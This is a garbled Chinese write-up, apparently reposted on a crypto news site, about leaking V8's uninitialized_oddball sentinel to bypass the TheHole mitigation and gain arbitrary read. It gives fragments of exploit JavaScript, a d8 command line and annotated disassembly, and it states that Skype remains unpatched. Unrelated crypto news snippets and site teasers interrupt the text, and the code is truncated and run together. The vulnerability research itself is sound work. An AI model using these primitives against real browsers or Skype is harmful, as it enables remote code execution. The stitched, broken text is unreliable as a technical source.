前言
Sentinelvalue(又名flagvalue/tripvalue/roguevalue/signalvalue/dummydata)是算法中的一个特殊值，通常在循环或递归算法中作为终止条件的特殊值存在。Chrome源码中有很多Sentinelvalue。from-leaking-thehole-to-chrome-renderer-rce和TheHoleNewWorld-howasmallleakwillsinkagreatbrowser(CVE-2021-38003)中，都介绍了如何通过泄露TheHole对象实现CVE-2021-38003和CVE-2022–1364的沙箱内任意代码执行。在我们发文阐述该缓解绕过大概一周后，谷歌团队也迅速把这两个在野CVE同步更新到了github上。时间节点如下：
{this</p>
<p> fhi(f){this</p>
<p> flow(f){this</p>
<p> }functionUninitializedOddballExploiter(uninitialized_oddball){varh=newHelpers();letarr=newArray(0x1000000);arr=1</p>
<p> ;%PrepareFunctionForOptimization(read);read(exp2,0);%OptimizeFunctionOnNextCall(read);constold_space=0x200000;//0x200000letstart_offset=Math</p>
<p> }UninitializedOddballExploiter(%TheHole());//注意对%TheHole()做patch</p>
<p> 美国银行以交易费用为由驳斥区块链没有内在价值的说法:金色财经报道，美国银行（BAC）在一份研究报告中指出，区块链及其上运行的应用程序确实具有内在价值，并表示它拒绝相反的说法。6月，英格兰银行行长AndrewBailey在对议会的评论中回应了对加密货币的负面情绪，称该资产类别没有“内在价值”。报告显示，以太坊区块链今年产生了约39亿美元的交易费用，2021年产生约99亿美元，去年的总额比前一年增加了1,558%。报告补充说，比特币区块链今年迄今已产生约9300万美元的费用，而去年全年约为10亿美元。对于具有强劲用户增长和发展以及明确用例的区块链，交易费用形式的现金流预计将加速。（coindesk）[2022/8/3 2:56:37]</p>
<p> 我们对上述代码在v8-11.0.0中测试，当%TheHole()返回UninitializedOddball时，仍旧可以实现相对任意读。</p>
<p> ./d8--expose-gc--allow-natives-syntax--print-opt-code--print-opt-code-filter=read--trace-turbo/home/avboy/Desktop/poc2.js</p>
<p> 对优化后的JavaScript的read函数去掉Prologue，留下关键反汇编如下所示：</p>
<p> 0x558b2000406929488b4d18REX.Wmovqrcx,0x558b2000406d2df6c101testbrcx,0x1;;checkifrcx(ie.obj,the1stargoffunction)is'Smi'0x558b20004070300f842e020000jz0x558b200042a4<+0x264>;;deoptreason'Smi'0x558b200040763641b831cd1900movlr8,0x19cd31;;(compressed)object:0x17140019cd31<Map(HOLEY_ELEMENTS)>0x558b2000407c3c443941ffcmpl,r8;;checkthemap(r8=0x19cd31isthemapofobj);;herewecheckthemapofobj,butwedidnotcheckthevalueofkey(ie.obj.prop);;andifwemakethevalueofkeytobeuninitialized_oddball,thereisthebypass0x558b20004080400f8522020000jnz0x558b200042a8<+0x268>;;deoptreason'wrongmap'0x558b2000408646448b410bmovlr8,;;*(addr(obj)+0xb)->r80x558b2000408a4a478b44060bmovlr8,;;r14ishighaddr0x558b2000408f4f4d03c6REX.Waddqr8,r14;;r8->inReadOnlySpace:#uninitialized0x558b2000409252458b4807movlr9,;;0x558b20004096564d03ceREX.Waddqr9,r14;;r9->0x2eb90000000d0x558b2000409959458b400bmovlr8,;;0x558b2000409d5d488b7d20REX.Wmovqrdi,;;rdiisindexofarr,the2ndargoffunction0x558b200040a16140f6c701testbrdi,0x1;;checkifrdiis'Smi'0x558b200040a5650f85da000000jnz0x558b20004185B5<+0x145>;;ifrdiisnot'Smi',JMP0x558b200040ab6b4c63dfREX.Wmovsxlqr11,rdi;;0x558b200040ae6e49d1fbREX.Wsarqr11,1;;r11/2,because'Smi'storedas'Smi'*2inMemory0x558b200040b1714d63c0REX.Wmovsxlqr8,r80x558b200040b47449d1f8REX.Wsarqr8,10x558b200040b7774d3bd8REX.Wcmpqr11,r8;;r11=0x40002,real_offsetastheindexofarr0x558b200040ba7a0f83ec010000jnc0x558b200042ac<+0x26c>;;deoptreason'outofbounds'0x558b200040c080c4817b1044d907vmovsdxmm0,;;movedoublefloatvaluetoxmm00x558b200040c787c5f92ec0vucomisdxmm0,xmm0;;ComparefloatvalueandSetEFLAGS0x558b200040cb8b0f8a88010000jpe0x558b20004259B9<+0x219>;;jpe(Jumpifparityeven)0x558b200040d1????91??0f8582010000?????????jnz?0x558b20004259??B9?<+0x219>??;;?jnz(Jump?if?not?zero)</p>
<p> Crypto.com平台旗下钱包DeFi Wallet新增AVAX-TUSD支持:5月20日消息，Crypto.com平台旗下钱包DeFi Wallet新增AVAX-TUSD支持。据悉，DeFi Wallet已支持CRC20-TUSD以及ERC20-TUSD。[2022/5/20 3:30:59]</p>
<p> 在0x558b2000407c处，检查了read函数的obj，确定其prop属性正确，但没有检查以obj.prop为key的Value，而是直接按照JavaScript语义计算偏移，求取数组的数值。如此导致我们在计算的时造成类型混淆，实现任意读。</p>
<p> 如上汇编所示，当我们传入uninitialized_oddball时，从0x558b20004086开始以obj为起点计算，最终在vmovsdxmm0,指令中完成任意读，数据保存在xmm0寄存器中。类似TheHole对象，由于uninitialized_oddball在v8内存中排序靠前，且对象内容更加原始，伪造更加容易，在TheHole缓解绕过修复后，该方法不失为绕过首选。同理，任意写我们可以参考Issue1352549进行构造分析。由于原理雷同，这里不再赘述。</p>
<p> 这里修复建议是，对优化后的函数返回数组元素时，添加对数组map的检查，避免直接计算偏移返回数组数值。</p>
<p> PatchGapAlert</p>
<p> 在我们谈论PatchGap时，实际上我们不仅仅需要关注曾经出现的历史漏洞，我们还要关注厂商在基础组件中悄悄修复的漏洞。对Issue1352549分析后，我们迅速排查了可能存在PatchGap的软件，这里不得不指出，截至目前Skype仍旧没有对该漏洞进行修复。在x86下任意读写会稍有不同。x64下由于存在地址压缩，在tuborgfun优化javascript生成的代码中，v8会默认将基址加上。x86由于没有基址，因此任意读写是直接相对于整个进程的。如下汇编所示：</p>
<p> 0x3979b8ff3f8b790bmovedi,0x3979b902428b7f0bmovedi,0x3979b905458b4707moveax,;;eaxwillbeafixednumber0x3979b908488b7f0bmovedi,0x3979b90b4b8b5510movedx,0x3979b90e4ef6c201test_bdl,0x10x3979b911510f85b6000000jnz0x3979b9cd<+0x10d>0x3979b9175789d6movesi,edx0x3979b91959d1fesaresi,1;;esiisindex0x3979b91b5bd1ffsaredi,1;;0x3734b73a0x3979b91d5d3bf7cmpesi,edi0x3979b91f5f0f838e010000jnc0x3979bab3<+0x1f3>;;deoptreason'outofbounds'0x3979b92565c5fb104cf007vmovsdxmm1,xmm0,;;</p>
<p> Coinbase与ENS合作允许用户在Coinbase钱包中申请ENS域名:5月18日消息，Coinbase在加密会议Permissionless上宣布，正与ENS合作以允许用户在Coinbase钱包中申请ENS域名。[2022/5/18 3:24:20]</p>
<p> 如上所示，esi为任意读数组的索引，eax为固定值，edi为)
因此，在edi范围内，可以任意读写。在具体做skype的exp时，虽然此时我们没有地址压缩带来内存读写的便利，且skype开启了aslr。但由于该文件太大，直接放在4GB内存中，黑客只需要对某个固定地址进行读写，便可以一个极大的概率读写skype文件中的内容。结合PE解析等传统思路，不难完成整个漏洞利用链。基于此，我们无法保证黑客不能在短时间内完成整个利用链的适配。
这次PatchGap实际上不止需要排查Issue1352549，由于一个新的绕过方法的公开，直接导致了类似Issue1314616和Issue1216437的利用难度大幅度降低，黑客几乎不需要花费任何研究成本，即可实现以往任何泄露uninitialized_oddball漏洞的完整利用，包括谷歌clusterfuzz提交的所有Issue中类似的漏洞。
总结
本文仅抛砖引玉，粗略来谈通过泄露Sentinelvalue中的uninitialized_Oddball来实现任意读原语。如第二部分所示，v8中的Sentinelvalue还有很多，实际上我们在测试Sentinelvalue的时候，也会经常容易遇到崩溃，不乏有非int3的崩溃出现。由于Uninitialized_Oddball和TheHole均已被证明可以在v8中实现环节绕过，我们有充分的理由怀疑其他Sentinelvalue也可能导致类似问题。
这也给我们一点提示：
01-其他uninitialized_Oddball泄露是否会轻松实现v8的RCE；
02-我们已经看到，谷歌会迅速将TheHole绕过进行修复，我们也看到利用垃圾回收实现ASLR绕过被长期搁置。这说明类似issue仍处在一个模糊边界，即是否被正式当作安全问题对待。
03-如果02中的问题被当作正式安全问题对待，那么在fuzzer中是否有必要考虑将%TheHole/uninitialized_Oddball等Sentinelvalue作为变量加入，来挖掘其他利用原语；
这里不得不强调的是，无论该类问题是否被正式当作安全问题对待，它都会大大缩减黑客实现完整利用周期。
参考资料
https://bugs.chromium.org/p/chromium/issues/detail?id=1314616
https://bugs.chromium.org/p/chromium/issues/detail?id=1352549
https://bugs.chromium.org/p/chromium/issues/detail?id=1216437
https://starlabs.sg/blog/2022/12-the-hole-new-world-how-a-small-leak-will-sink-a-great-browser-cve-2021-38003/
每当一个大型中心化交易所崩溃时,一个常见的问题就是我们是否可以使用加密技术来解决。交易所可以利用密码学证明它们在链上持有的资金足以支付它们对用户的债务,而不是仅仅依赖政府许可、审查公司审计和运营.
1900/1/1 0:00:001992年尼尔·斯蒂芬森发表的科幻小说,书中描述了一个叫元宇宙的虚拟世界。这也许是Metaverse这个词第一次出现,在这以后,人们开始用Metaverse来指代数字世界、虚拟现实、沉浸式互联网.
1900/1/1 0:00:00短期OP,长期ZK？这句话因为V神说过,所以被很多人认为是“金科玉律”,然而实际情况要复杂的多.
1900/1/1 0:00:00TheBeacon游戏跟之前GameFi不同把好玩放在首位上个周期的游戏大多是GameFi,核心是Fi,而不是Game,Game只是手段,Fi是目的.
1900/1/1 0:00:00两个月前,AnalyticsIndiaMagazine发表了一篇关于GPT-3如何悄悄挑战Google搜索的报道.
1900/1/1 0:00:00美国是选票,为了赢得选票,美国一流的政客都是一流的演员,为了博取眼球,他们需要抓热点、炒热度、包装自己的政绩。作为一场年终大戏,FTX破产无疑是一出可以用来不停炒作的筹码.
1900/1/1 0:00:00
月亮链